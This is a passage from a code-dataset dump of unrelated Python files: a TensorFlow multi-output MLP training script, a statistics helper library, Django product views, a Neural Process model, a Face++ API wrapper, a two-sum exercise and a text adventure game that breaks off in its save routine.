arr = np.arange(input_train.shape[0])\n np.random.shuffle(arr)\n for index in range(0, input_train.shape[0], batch_size):\n sess.run(optimizer, { x: input_train[arr[index:index+batch_size]], \n y_action_1: output_train_action_1[arr[index:index+batch_size]],\n y_action_2: output_train_action_2[arr[index:index+batch_size]],\n y_loc: output_train_loc[arr[index:index+batch_size]],\n y_phone: output_train_phone[arr[index:index+batch_size]]}) \n\n saver.save(sess, (checkpointdir), global_step=2000)\n\n training_accuracy_action_1.append(sess.run(accuracy_action_1, feed_dict={x:input_train, \n y_action_1:output_train_action_1}))\n training_accuracy_action_2.append(sess.run(accuracy_action_2, feed_dict={x:input_train,\n y_action_2:output_train_action_2}))\n training_accuracy_loc.append(sess.run(accuracy_loc, feed_dict={x:input_train, \n y_loc:output_train_loc}))\n training_accuracy_phone.append(sess.run(accuracy_phone, feed_dict={x:input_train, \n y_phone:output_train_phone}))\n training_accuracy_overall.append(sess.run(accuracy_overall, feed_dict={x:input_train,\n y_phone:output_train_phone,\n y_loc:output_train_loc,\n y_action_1:output_train_action_1,\n y_action_2:output_train_action_2}))\n\n training_loss.append(sess.run(loss, feed_dict={x: input_train,\n y_action_1: output_train_action_1,\n y_action_2: output_train_action_2,\n y_loc: output_train_loc,\n y_phone: output_train_phone}))\n\n testing_accuracy_action_1.append(accuracy_score(output_test_action_1.argmax(1),\n sess.run(predicted_y_action_1, {x: input_test}).argmax(1)))\n testing_accuracy_action_2.append(accuracy_score(output_test_action_2.argmax(1),\n sess.run(predicted_y_action_2, {x: input_test}).argmax(1)))\n testing_accuracy_loc.append(accuracy_score(output_test_loc.argmax(1),\n sess.run(predicted_y_loc, {x: input_test}).argmax(1)))\n testing_accuracy_phone.append(accuracy_score(output_test_phone.argmax(1),\n sess.run(predicted_y_phone, {x: input_test}).argmax(1)))\n testing_accuracy_overall.append((testing_accuracy_action_1[epoch]+testing_accuracy_action_2[epoch]+testing_accuracy_loc[epoch]+testing_accuracy_phone[epoch])/4)\n \n print(\"Epoch:{0}, Train loss: {1:.2f} Train acc: {2:.3f} Test acc: {3:.3f}\".format(epoch,\n training_loss[epoch],\n training_accuracy_overall[epoch],\n testing_accuracy_overall[epoch]))\n print(\" for action 1 Train acc: {0:.3f} Test acc: {1:.3f}\".format( training_accuracy_action_1[epoch],\n testing_accuracy_action_1[epoch]))\n print(\" for action 2 Train acc: {0:.3f} Test acc: {1:.3f}\".format( training_accuracy_action_2[epoch],\n testing_accuracy_action_2[epoch]))\n print(\" for location Train acc: {0:.3f} Test acc: {1:.3f}\".format(training_accuracy_loc[epoch],\n testing_accuracy_loc[epoch]))\n print(\" for phone Train acc: {0:.3f} Test acc: {1:.3f}\".format(training_accuracy_phone[epoch],\n testing_accuracy_phone[epoch]))\n \n f.write(\"Epoch:{0}, Train loss: {1:.2f} Train acc: {2:.3f} Test acc: {3:.3f}\\n\".format(epoch,\n training_loss[epoch],\n training_accuracy_overall[epoch],\n testing_accuracy_overall[epoch]))\n f.write(\" for action 1 Train acc: {0:.3f} Test acc: {1:.3f}\\n\".format( training_accuracy_action_1[epoch],\n testing_accuracy_action_1[epoch]))\n f.write(\" for action 2 Train acc: {0:.3f} Test acc: {1:.3f}\\n\".format( training_accuracy_action_2[epoch],\n testing_accuracy_action_2[epoch]))\n f.write(\" for location Train acc: {0:.3f} Test acc: {1:.3f}\\n\".format(training_accuracy_loc[epoch],\n testing_accuracy_loc[epoch]))\n f.write(\" for phone Train acc: {0:.3f} Test acc: {1:.3f}\\n\".format(training_accuracy_phone[epoch],\n testing_accuracy_phone[epoch]))\n\n tf.io.write_graph(tf.compat.v1.get_default_graph(), checkpointdir, 'model.pb', as_text=False)\n \n iterations = list(range(epochs))\n plt.figure()\n plt.plot(iterations, training_accuracy_overall, label='Overall_train')\n plt.plot(iterations, testing_accuracy_overall, label='Overall_test')\n plt.ylabel('Accuracy')\n plt.xlabel('iterations')\n plt.legend()\n plt.savefig('overall.png')\n\n plt.figure()\n plt.plot(iterations, training_accuracy_action_1, label='action_train_1')\n plt.plot(iterations, testing_accuracy_action_1, label='action_test_1')\n plt.ylabel('Accuracy')\n plt.xlabel('iterations')\n plt.legend()\n plt.savefig('action_1.png')\n\n plt.figure()\n plt.plot(iterations, training_accuracy_action_2, label='action_train_2')\n plt.plot(iterations, testing_accuracy_action_2, label='action_test_2')\n plt.ylabel('Accuracy')\n plt.xlabel('iterations')\n plt.legend()\n plt.savefig('action_2.png')\n\n plt.figure()\n plt.plot(iterations, training_accuracy_loc, label='loc_train')\n plt.plot(iterations, testing_accuracy_loc, label='loc_test')\n plt.ylabel('Accuracy')\n plt.xlabel('iterations')\n plt.legend()\n plt.savefig('loc.png')\n\n plt.figure()\n plt.plot(iterations, training_accuracy_phone, label='phone_train')\n plt.plot(iterations, testing_accuracy_phone, label='phone_test')\n plt.ylabel('Accuracy')\n plt.xlabel('iterations')\n plt.legend()\n plt.savefig('phone.png')\n\n print(\"Training complete\")\n print(\"=============================================================\")\n print(\"Final training loss: {0:.2f}\".format(training_loss[-1]))\n print(\"Final overall training accuracy: {0:.3f}\".format(training_accuracy_overall[-1]))\n print(\"Final overall test accuracy: {0:.3f}\".format(testing_accuracy_overall[-1]))\n print(\"Action 1 training accuracy: {0:.3f}\".format(training_accuracy_action_1[-1]))\n print(\"Action 1 testing accuracy: {0:.3f}\".format(testing_accuracy_action_1[-1]))\n print(\"Action 2 training accuracy: {0:.3f}\".format(training_accuracy_action_2[-1]))\n print(\"Action 2 testing accuracy: {0:.3f}\".format(testing_accuracy_action_2[-1]))\n print(\"Location training accuracy: {0:.3f}\".format(training_accuracy_loc[-1]))\n print(\"Location testing accuracy: {0:.3f}\".format(testing_accuracy_loc[-1]))\n print(\"Phone training accuracy: {0:.3f}\".format(training_accuracy_phone[-1]))\n print(\"Phone testing accuracy: {0:.3f}\".format(testing_accuracy_phone[-1]))\n\n f.write(\"Training complete\\n\")\n f.write(\"=============================================================\\n\")\n f.write(\"Final training loss: {0:.2f}\\n\".format(training_loss[-1]))\n f.write(\"Final overall training accuracy: {0:.3f}\\n\".format(training_accuracy_overall[-1]))\n f.write(\"Final overall test accuracy: {0:.3f}\\n\".format(testing_accuracy_overall[-1]))\n f.write(\"Action 1 training accuracy: {0:.3f}\\n\".format(training_accuracy_action_1[-1]))\n f.write(\"Action 1 testing accuracy: {0:.3f}\\n\".format(testing_accuracy_action_1[-1]))\n f.write(\"Action 2 training accuracy: {0:.3f}\\n\".format(training_accuracy_action_2[-1]))\n f.write(\"Action 2 testing accuracy: {0:.3f}\\n\".format(testing_accuracy_action_2[-1]))\n f.write(\"Location training accuracy: {0:.3f}\\n\".format(training_accuracy_loc[-1]))\n f.write(\"Location testing accuracy: {0:.3f}\\n\".format(testing_accuracy_loc[-1]))\n f.write(\"Phone training accuracy: {0:.3f}\\n\".format(training_accuracy_phone[-1]))\n f.write(\"Phone testing accuracy: {0:.3f}\\n\".format(testing_accuracy_phone[-1]))\n\n f.close()\n\nif __name__ == '__main__':\n AP = argparse.ArgumentParser()\n AP.add_argument(\"--training_directory\", type=str, help=\"Directory that contains all files for training\")\n AP.add_argument(\"--checkpoint_directory\", type=str, help=\"Directory to output checkpoints into\")\n AP.add_argument(\"--file_number\", type=int, default=-1, help=\"Number of files to be used in training. Pass -1 to train on all files in the directory\")\n AP.add_argument(\"--train_percent\", type=float, default=0.7, help=\"Percentage of data to be used for training\")\n AP.add_argument(\"--initial_learning\", type=float, default=0.001, help=\"Define the initial learning rate for the optimizer\")\n AP.add_argument(\"--epochs\", type=int, default=20, help=\"Number of epochs to train\")\n AP.add_argument(\"--batchsize\", type=int, default=200, help=\"Batch size of training step\")\n AP.add_argument(\"--action_weighting_1\", type=float, default=1, help=\"Weighting of action 1 in loss function\")\n AP.add_argument(\"--action_weighting_2\", type=float, default=1, help=\"Weighting of action 2 in loss function\")\n AP.add_argument(\"--loc_weighting\", type=float, default=1, help=\"Weighting of location in loss function\")\n AP.add_argument(\"--phone_weighting\", type=float, default=1, help=\"Weighting of phone placement in loss function\")\n AP.add_argument(\"--hidden_1\", type=int, default=225, help=\"Number of features extracted by first hidden layer\")\n AP.add_argument(\"--hidden_2\", type=int, default=225, help=\"Number of features extracted by second hidden layer\")\n AP.add_argument(\"--hidden_3\", type=int, default=225, help=\"Number of features extracted by third hidden layer\")\n AP.add_argument(\"--hidden_4\", type=int, default=225, help=\"Number of features extracted by fourth hidden layer\")\n AP.add_argument(\"--hidden_5\", type=int, default=225, help=\"Number of features extracted by fifth hidden layer\")\n AP.add_argument(\"--hidden_6\", type=int, default=225, help=\"Number of features extracted by sixth hidden layer\")\n AP.add_argument(\"--hidden_7\", type=int, default=225, help=\"Number of features extracted by seventh hidden layer\")\n AP.add_argument(\"--hidden_8\", type=int, default=225, help=\"Number of features extracted by eighth hidden layer\")\n AP.add_argument(\"--action_1_layer_1\", type=int, default=20, help=\"Number of features extracted by action 1 layer 1\")\n AP.add_argument(\"--action_2_layer_1\", type=int, default=20, help=\"Number of features extracted by action 2 layer 1\")\n AP.add_argument(\"--action_2_layer_2\", type=int, default=20, help=\"Number of features extracted by action 2 layer 2\")\n AP.add_argument(\"--input\", type=int, default=225, help=\"Number of inputs into network\")\n AP.add_argument(\"--add_input\", type=int, default=51, help=\"Number of additional inputs fed into the network\")\n AP.add_argument(\"--actions_1\",type=int, default=14, help=\"Number of action labels in output\")\n AP.add_argument(\"--actions_2\",type=int, default=20, help=\"Number of action labels in output\")\n AP.add_argument(\"--locations\",type=int, default=13, help=\"Number of location labels in output\")\n AP.add_argument(\"--phone_placement\",type=int, default=4, help=\"Number of phone placement labels in output\")\n AP.add_argument(\"--regulariser_rate\",type=float, default=0.1, help=\"Regulariser rate for loss function\")\n\n parsed = AP.parse_args()\n\n main(training_dir=parsed.training_directory,\n checkpointdir=parsed.checkpoint_directory,\n training_files=parsed.file_number,\n train_percent=parsed.train_percent,\n initial_learning_rate=parsed.initial_learning, \n epochs=parsed.epochs,\n batch_size=parsed.batchsize, \n weighting_action_1=parsed.action_weighting_1,\n weighting_action_2=parsed.action_weighting_2, \n weighting_loc=parsed.loc_weighting, \n weighting_phone=parsed.phone_weighting,\n hidden_1=parsed.hidden_1, \n hidden_2=parsed.hidden_2, \n hidden_3=parsed.hidden_3,\n hidden_4=parsed.hidden_4,\n hidden_5=parsed.hidden_5,\n hidden_6=parsed.hidden_6,\n hidden_7=parsed.hidden_7,\n hidden_8=parsed.hidden_8,\n action_1_layer_1=parsed.action_1_layer_1,\n action_2_layer_1=parsed.action_2_layer_1,\n action_2_layer_2=parsed.action_2_layer_2,\n n_input=parsed.input, \n n_labels=parsed.add_input, \n n_output_action_1=parsed.actions_1,\n n_output_action_2=parsed.actions_2, \n n_output_loc=parsed.locations, \n n_output_phone=parsed.phone_placement, \n regulariser_rate=parsed.regulariser_rate)\n\n \n\n","sub_path":"ml/models/8hidden800epoch/MLP.py","file_name":"MLP.py","file_ext":"py","file_size_in_byte":29160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"577188464","text":"import numpy as np\nimport pandas as pd\n\ndf = pd.read_csv('q8_a.csv')\ndata = df.iloc[:,1].values\nn = len(data)\ntrue_mean = 0.5\nprint(\"Hypothesis H0 is that Theta0 is equal to 0.5\")\n\nsample_mean = np.sum(data)/n\ncorrected_variance = (np.sum(np.square(data-sample_mean)))/(n-1)\nstd_error_hat = np.sqrt(corrected_variance/n)\nw = np.abs((sample_mean - true_mean) / std_error_hat)\nzalphaby2 = 2.33\n\n\nprint(\"|w| = \", w)\nprint(\"Z alpha/2 = \", zalphaby2)\n\nif(w <= zalphaby2):\n print(\"Hypothesis is accepted with true mean = \", true_mean)\nelse:\n print(\"Hypothesis is rejected\")\n\n# Output :\n# Hypothesis H0 is that Theta0 is equal to 0.5\n# |w| = 12.547674743376623\n# Z alpha/2 = 2.33\n# Hypothesis is rejected","sub_path":"CSE544-ProbStatsForDataScience/Assignment4/8a.py","file_name":"8a.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"24282256","text":"# The library I created during '10 days of statistics' challenge\r\n#https://www.hackerrank.com/domains/tutorials/10-days-of-statistics/2\r\n\r\nfrom math import erf\r\n\r\ndef fact(x):\r\n assert type(x) == int and x >= 0, 'Input is not a valid type'\r\n if x == 1 or x == 0: # Base Case\r\n return 1\r\n else:\r\n return x*fact(x-1)\r\n\r\ndef comb(n, x):\r\n #https://en.wikipedia.org/wiki/Combination\r\n return fact(n) / (fact(x)*fact(n-x))\r\n \r\ndef binomial_pmf(p, n, x, negative=False):\r\n if negative:\r\n #https://en.wikipedia.org/wiki/Negative_binomial_distribution\r\n pmf_value = ( comb(n-1, x-1) ) * ( (p**x) * ((1-p)**(n-x)) )\r\n else:\r\n pmf_value = ( comb(n, x) ) * ( (p**x) * ((1-p)**(n-x)) )\r\n return pmf_value\r\n\r\ndef binomial_cdf(p, n, r):\r\n cdf_value = 0\r\n for i in r:\r\n cdf_value += binomial_pmf(p, n, i)\r\n return cdf_value\r\n\r\ndef geometric_pmf(p, n):\r\n #https://www.hackerrank.com/challenges/s10-geometric-distribution-1/tutorial\r\n # or just return (1-p)**(n-1) * p\r\n return binomial_pmf(p, n, 1, negative=True)\r\n\r\ndef poisson_pmf(k, lmbd, e=2.71828):\r\n # https://en.wikipedia.org/wiki/Poisson_distribution\r\n pmf_value = ( lmbd**k ) * ( e**(-lmbd) ) / fact(k)\r\n return pmf_value\r\n\r\ndef poisson_cdf(r, lmbd):\r\n '''\r\n r: values to compute as iterable\r\n '''\r\n cdf_value = 0\r\n for i in r:\r\n cdf_value += poisson_pmf(i, lmbd)\r\n return cdf_value\r\n\r\ndef normal_pdf(x, mu=0, sigma=1, e=2.71828):\r\n '''\r\n mu: is the mean (or expectation) of the distribution. It is also equal to median and mode of the distribution.\r\n sigma^2: is the variance.\r\n sigma: is the standard deviation.\r\n '''\r\n pi = 3.14159265359\r\n pdf_value = ( 1/(float(sigma)*((2*pi)**.5)) ) * ( e**(-(((float(x)-float(mu))**2)/(2*(float(sigma)**2)))) )\r\n return pdf_value\r\n\r\ndef normal_cdf(x, mu=0, sigma=1):\r\n '''\r\n x: exclusive\r\n '''\r\n cdf_value = 0.5*(1 + erf((x-mu)/(sigma*(2**.5))))\r\n return cdf_value\r\n\r\ndef cov(x, y):\r\n x_len = len(x)\r\n y_len = len(y)\r\n assert x_len == y_len, 'Lists length are not equal'\r\n x_mean = sum(x)/float(x_len)\r\n y_mean = sum(y)/float(y_len) \r\n out = 0\r\n for i, j in zip(x, y):\r\n out += (i-x_mean)*(j-y_mean)\r\n out = out/float(x_len)\r\n return out\r\n\r\ndef std2(x):\r\n x_len = float(len(x))\r\n x_mean = sum(x)/float(x_len)\r\n return (sum([(i-x_mean)**2 for i in x])/x_len)**.5\r\n \r\ndef pearson(x, y):\r\n return cov(x, y) / (std2(x)*std2(y))\r\n\r\ndef listToRank(x):\r\n x_set = set(x)\r\n x_len = len(x_set)\r\n highest = x_len\r\n x_set = sorted(x_set, reverse=True)\r\n mp = {}\r\n for i in range(x_len):\r\n if x_set[i] not in mp.keys():\r\n mp[x_set[i]] = highest\r\n highest -= 1\r\n \r\n return [mp[i] for i in x]\r\n\r\ndef spearman(x, y):\r\n x_rank = listToRank(x)\r\n y_rank = listToRank(y)\r\n return pearson(x_rank, y_rank)\r\n\r\n# Regression Line\r\n# https://www.hackerrank.com/challenges/s10-least-square-regression-line/tutorial\r\n# Y = a + b.X\r\ndef b_value(x, y):\r\n x_len = len(x)\r\n y_len = len(y)\r\n assert x_len == y_len, 'Lists length are not equal'\r\n return pearson(x, y) * (std2(y) / std2(x))\r\n\r\ndef a_value(x, y):\r\n x_len = len(x)\r\n y_len = len(y)\r\n assert x_len == y_len, 'Lists length are not equal'\r\n x_mean = sum(x)/float(x_len)\r\n y_mean = sum(y)/float(y_len) \r\n return y_mean - b_value(x, y) * x_mean\r\n","sub_path":"stats_prob_package.py","file_name":"stats_prob_package.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"199468029","text":"from django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.contrib import messages\nfrom django.db.models import Q\nfrom django.db.models.functions import Lower\nfrom .models import Product, Category\n\n\ndef all_products(request):\n \"\"\" A view to show all products, including sorting and search queries \"\"\"\n\n products = Product.objects.all()\n query = None\n categories = None\n sort = None\n direction = None\n\n if request.GET:\n if 'sort' in request.GET:\n sorting = request.GET['sort']\n sort = sorting\n if sorting == 'name':\n sorting = 'lower_name'\n products = products.annotate(lower_name=Lower('name'))\n if sorting == 'category':\n sorting = 'category__name'\n\n if 'direction' in request.GET:\n direction = request.GET['direction']\n if direction == 'desc':\n sorting = f'-{sorting}'\n products = products.order_by(sorting)\n\n if 'category' in request.GET:\n categories = request.GET['category'].split(',')\n products = products.filter(category__name__in=categories)\n categories = Category.objects.filter(name__in=categories)\n\n if request.GET:\n if 'querying' in request.GET:\n query = request.GET['querying']\n if not query:\n messages.error\n (request, \"You didn't enter any search criteria!\")\n return redirect(reverse('products'))\n\n queries = Q(name__icontains=query) | Q(description__icontains=query)\n products = products.filter(queries)\n\n running_sorting = f'{sort}_{direction}'\n\n context = {\n 'products': products,\n 'search_term': query,\n 'running_categories': categories,\n 'running_sorting': running_sorting,\n }\n\n return render(request, 'products/products.html', context)\n\n\ndef product_info(request, product_id):\n\n product = get_object_or_404(Product, pk=product_id)\n\n context = {\n 'product': product,\n }\n\n return render(request, 'products/product_info.html', context)\n\n\n","sub_path":"products/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"376051501","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom models import encoder, r_to_z, decoder, convlayers, deconvlayers\n\ndef outputSize(in_size, kernel_size, stride, padding):\n output = int((in_size - kernel_size + 2*(padding)) / stride) + 1\n return(output)\n\nclass NP(nn.Module):\n def __init__(self, encoded_size, x_dim, y_dim):\n super(NP, self).__init__()\n self.encoded_size = encoded_size\n self._encoder = encoder(encoded_size, x_dim, y_dim)\n self._rz = r_to_z(encoded_size)\n self._decoder = decoder(encoded_size, x_dim, y_dim)\n self.tanh = nn.Tanh()\n \n def forward(self, context_x, context_y, target_x, target_y=None):\n en_mu, en_sigma, en_dist = self._rz(self._encoder(context_x, context_y))\n if target_y is not None:\n t_en_mu, t_en_sigma, t_en_dist = self._rz(self._encoder(target_x, target_y))\n representation = t_en_dist.rsample().unsqueeze(0).transpose(0,1)\n else:\n representation = en_dist.rsample().unsqueeze(0).transpose(0, 1)\n t_en_dist = None\n\n mu, sigma, dist = self._decoder(representation, target_x)\n \n if target_y is not None:\n log_p = dist.log_prob(target_y)\n log_p = log_p.sum()/(torch.tensor(list(target_y.size())).prod())\n \n \n MSE = (mu - target_y).pow(2).sum()/mu.size()[1]\n else:\n log_p = None\n MSE = None\n return mu, sigma, log_p, en_dist, t_en_dist, MSE\n\n\nclass Image_Generator(nn.Module):\n def __init__(self, image_size, encoded_size):\n super(ConvNP, self).__init__()\n self.image_size = image_size\n self.encoded_size = encoded_size\n self.convlayers = convlayers(image_size, 40)\n self.np = NP(encoded_size, 1, 1)\n self.deconvlayers = deconvlayers(40, image_size)\n \n def forward(self, context_x, context_y, target_x, target_y=None):\n pass\n ","sub_path":"Modular NP 2/NP.py","file_name":"NP.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"307406960","text":"#-*- coding:utf-8 -*-\n\nimport requests\n\nclass Api:\n '''\n 调用Face++API\n\n api_key 调用此API的API Key \\\n api_secret 调用此API的Secret\n '''\n def __init__(self, api_key, api_secret):\n self.api_key = api_key\n self.api_secret = api_secret\n\n def HumanBodySegment(self,image):\n '''\n 函数功能:识别图片中的人体 \\\n 函数参数:image 图片URL,FILE,base\n '''\n api_url = \"https://api-cn.faceplusplus.com/humanbodypp/beta/segment\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret}\n files = {'image_file':open(image,'rb')}\n req = requests.post(api_url,data = data, files = files)\n return(req.status_code,req.text)\n\n def HumanBodyDetect(self, image, return_attr=None):\n '''\n 函数功能:对照片中的人体进行属性分析 \\\n 函数参数:image 图片URL,FILE,base\n return_attr=返回的属性\n '''\n api_url = \"https://api-cn.faceplusplus.com/humanbodypp/beta/detect\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, \"return_attributes\":return_attr}\n files = {'image_file':open(image,'rb')}\n req = requests.post(api_url,data = data, files = files)\n return(req.status_code,req.text)\n\n def face_detect(self, image, return_landmark=0, return_attributes=None):\n '''\n 函数功能:对传入的照片进行人脸检测和人脸分析\n 函数参数:image 图片URL,FILE,base\n return_landmark 是否检测并返回人脸关键点\n return_attributes 是否检测人脸特征并返回\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/detect\"\n files = {'image_file':open(image,'rb')}\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, \"return_landmark\":return_landmark, \"return_attributes\":return_attributes}\n req = requests.post(api_url, files = files, data = data)\n return(req.status_code,req.text)\n\n def face_compare(self, face1, face2):\n '''\n 函数功能:对比两张人脸\n 函数参数:face1 可以为face_token,image URL FILE base\n face2 可以为face_token,image URL FILE base\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/compare\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret}\n if '/' in face1:\n data[\"image_file1\"] = face1\n else:\n data[\"face_token1\"] = face1\n if '/' in face2:\n data[\"image_file1\"] = face2\n else:\n data[\"face_token1\"] = face2\n req = requests.post(api_url,data = data)\n return(req.status_code,req.text)\n\n def face_search(self, image, faceset=None, outerid=None):\n '''\n 函数功能:在faceset里找出与目标人脸最相似的人脸\n 函数参数:face 图片或进行搜索的目标人脸的face_token\n faceset 用来搜索的faceset标示\n outerid 用户自定义的faceset标示\n '''\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret}\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/search\"\n files = {'image_file':open(image,'rb')}\n if faceset == None:\n data['outer_id'] = outerid\n else:\n data['face_token'] = faceset\n req = requests.post(api_url,data = data, files = files)\n return(req.status_code,req.text)\n\n def faceset_create(self, outerid):\n '''\n 函数功能:创建人脸集合\n 函数参数:outerid 人脸集合名字\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/faceset/create\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, 'outer_id':outerid}\n req = requests.post(api_url,data = data)\n return(req.status_code,req.text)\n\n def faceset_addface(self, outerid, face_tokens):\n '''\n 函数功能:把人脸标示添加到一个已经创建的faceset\n 函数参数:outerid 已经创建的faceset\n face_tokens 1~5组成的facetoken字符串\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/faceset/addface\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, 'outer_id':outerid, \"face_tokens\":face_tokens}\n req = requests.post(api_url,data = data)\n return(req.status_code,req.text)\n\n def faceset_remove(self,outerid, face_tokens):\n '''\n 函数功能:从outerid里删除某些或全部facetoken\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/faceset/removeface\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, 'outer_id':outerid, \"face_tokens\":face_tokens}\n req = requests.post(api_url,data = data)\n return(req.status_code,req.text)\n\n def delete_faceset(self, outerid):\n '''\n 函数功能:删除faceset\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/faceset/delete\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, 'outer_id':outerid}\n req = requests.post(api_url,data = data)\n return(req.status_code,req.text)\n\n def faceset_getdetail(self, outerid):\n '''\n 函数功能:获取faceset的信息\n '''\n api_url = \"https://api-cn.faceplusplus.com/facepp/v3/faceset/getdetail\"\n data = {\"api_key\":self.api_key, \"api_secret\":self.api_secret, 'outer_id':outerid}\n req = requests.post(api_url,data = data)\n return(req.status_code,req.text)\n\n\n","sub_path":"tool/faceapi.py","file_name":"faceapi.py","file_ext":"py","file_size_in_byte":5699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"545327172","text":"'''\nWrite a program that, given an array A[] of n numbers and another number x, \ndetermines whether or not there exist two elements in S whose sum is exactly x.\n\nInput: arr[] = {0, -1, 2, -3, 1}\n sum = -2\nOutput: -3, 1\n\n'''\n\ndef hasArrayTwoCandidates(A, arr_size, Sum): \n \n A.sort()\n print(A)\n l = 0\n r = arr_size-1\n while(l < r):\n if (A[l] + A[r] == Sum): \n return A[l],A[r]\n elif (A[l] + A[r] < Sum): \n l += 1\n else: \n r -= 1\n return 0\n \n \nA = [0, -1, 2, -3, 1]\narr_size = len(A)\nSum = -2\nprint(hasArrayTwoCandidates(A, arr_size, Sum))","sub_path":"geeksforgeeks/sorting/check_for_pair_in_array_with_given_sum.py","file_name":"check_for_pair_in_array_with_given_sum.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"201946327","text":"import csv\nimport textwrap\nfrom Location import Location\nfrom Item import Item\nfrom Player import Player\n\ndef display(text):\n for line in text.splitlines():\n print (textwrap.fill(line))\n\nclass Game:\n \"\"\" This is the master class containing all game objects\"\"\"\n\n def __init__(self):\n self.status = \"play\"\n self.turns = 0\n self.load_locations(\"resources/locations.csv\")\n self.load_items(\"resources/items.csv\")\n self.load_player(\"resources/player.csv\")\n\n\n def load_locations(self, filename):\n self.locations = {}\n with open(filename, 'r') as f:\n reader = csv.reader(f)\n first_row = True\n for row in reader:\n if not first_row:\n id = int(row[0])\n desc = row[1]\n self.locations[id] = Location(id, desc)\n else:\n first_row = False\n directions = row[2:]\n\n with open(filename, 'r') as f:\n reader = csv.reader(f)\n\n first_row = True\n for row in reader:\n if not first_row:\n id = int(row[0])\n for i in range(2, 8):\n dir = directions[i - 2]\n loc = row[i]\n if loc:\n loc = int(loc)\n self.locations[id].add_exit(dir,self.locations[loc])\n else:\n first_row = False\n\n def load_items(self, filename):\n # Add all the items\n self.items = {}\n with open(filename, 'r') as f:\n reader = csv.reader(f)\n\n first_row = True\n for row in reader:\n if not first_row:\n item_name = row[0]\n item_key = item_name.upper()\n item_location_id = int(row[1])\n item_description = row[2]\n item_moveable = row[3] == \"T\"\n item_wearable = row[4] == \"T\"\n self.items[item_key] = Item(item_name,item_location_id,item_description,item_moveable,item_wearable)\n self.locations[item_location_id].items.append(self.items[item_key])\n else:\n first_row = False\n\n def load_player(self, filename):\n \"\"\"Load player state from file\"\"\"\n location_id = None\n with open(filename, 'r') as f:\n reader = csv.reader(f)\n\n first_row = True\n for row in reader:\n if not first_row:\n location_id = int(row[0])\n else:\n first_row = False\n self.player = Player(self.locations[location_id],self.locations[1000],self.locations[1001])\n\n def begin(self):\n \"\"\" begins a new adventure \"\"\"\n\n display(\"*********************\\nWelcome to Adventure!\\n*********************\")\n display(self.player.look())\n\n def play(self):\n \"\"\" receive and process next command \"\"\"\n self.turns += 1\n command_string = input('> ').upper()\n word = command_string.split()\n if len(word) == 0:\n return\n elif word[0] == \"QUIT\":\n self.quit()\n elif word[0] == 'LOOK':\n display(self.player.look())\n elif word[0] in ('N', 'S', 'E', 'W', 'U', 'D'):\n display(self.player.go(word[0]))\n elif word[0] in ('TAKE', 'GET'):\n item = self.lookup_item(word[1])\n if item == None:\n display(\"You can't see that\")\n else:\n display(self.player.take(item))\n elif word[0] == 'DROP':\n item = self.lookup_item(word[1])\n if item == None:\n display(\"You don't have that\")\n else:\n display(self.player.drop(item))\n elif word[0] == 'WEAR':\n item = self.lookup_item(word[1])\n if item == None:\n display(\"You don't have that\")\n else:\n display(self.player.wear(item))\n elif word[0] == 'REMOVE':\n item = self.lookup_item(word[1])\n if item == None:\n display(\"You're not wearing that\")\n else:\n display(self.player.remove(item))\n elif word[0] == 'EXITS':\n display(self.player.current_location.get_exits())\n elif word[0] in ('I', 'INVE', 'INVENTORY'):\n display(self.player.list_inventory())\n elif word[0] == 'SAVE':\n self.save_game()\n elif word[0] == 'LOAD':\n self.load_game()\n elif word[0] == 'HELP':\n display(\" LOOK to see where you are.\\n\",\n \"N, S, E, W, U, D to move around.\\n\",\n \"GET, DROP, WEAR, REMOVE items.\\n\",\n \"QUIT to stop playing.\\n\")\n elif word[0] == 'TURNS':\n display(\"You have taken \" + str(self.turns) + \" turns so far.\")\n elif word[0] == 'GOT':\n item = self.lookup_item(word[1])\n if item != None:\n if self.player.has_item(item):\n display(\"Yes, you have\", word[1])\n else:\n display(\"No, you have no\", word[1])\n else:\n display(\"No, you have no\", word[1])\n else:\n display(\"I don't understand\")\n\n self.check_states()\n\n def inPlay(self):\n \"\"\" tests if game is in progress \"\"\"\n if self.status == \"play\":\n return True\n\n def quit(self):\n \"\"\" quits the game \"\"\"\n display(\"OK bye\")\n self.status = \"quit\"\n\n def save_game(self):\n \"\"\" saves the current state of play \"\"\"\n display(\"saving the game\")\n\n with open('saved_locations.csv', 'w') as f:\n writer = csv.writer(f,lineterminator='\\n')\n keys = sorted(self.locations.keys())\n writer.writerow(['id','desc','N','S','E','W','U','D'])\n for key in keys:\n loc = self.locations[key]\n writer.writerow(loc.to_seq())\n\n with open('saved_items.csv', 'w') as f:\n writer = csv.writer(f,lineterminator='\\n')\n keys = sorted(self.items.keys())\n 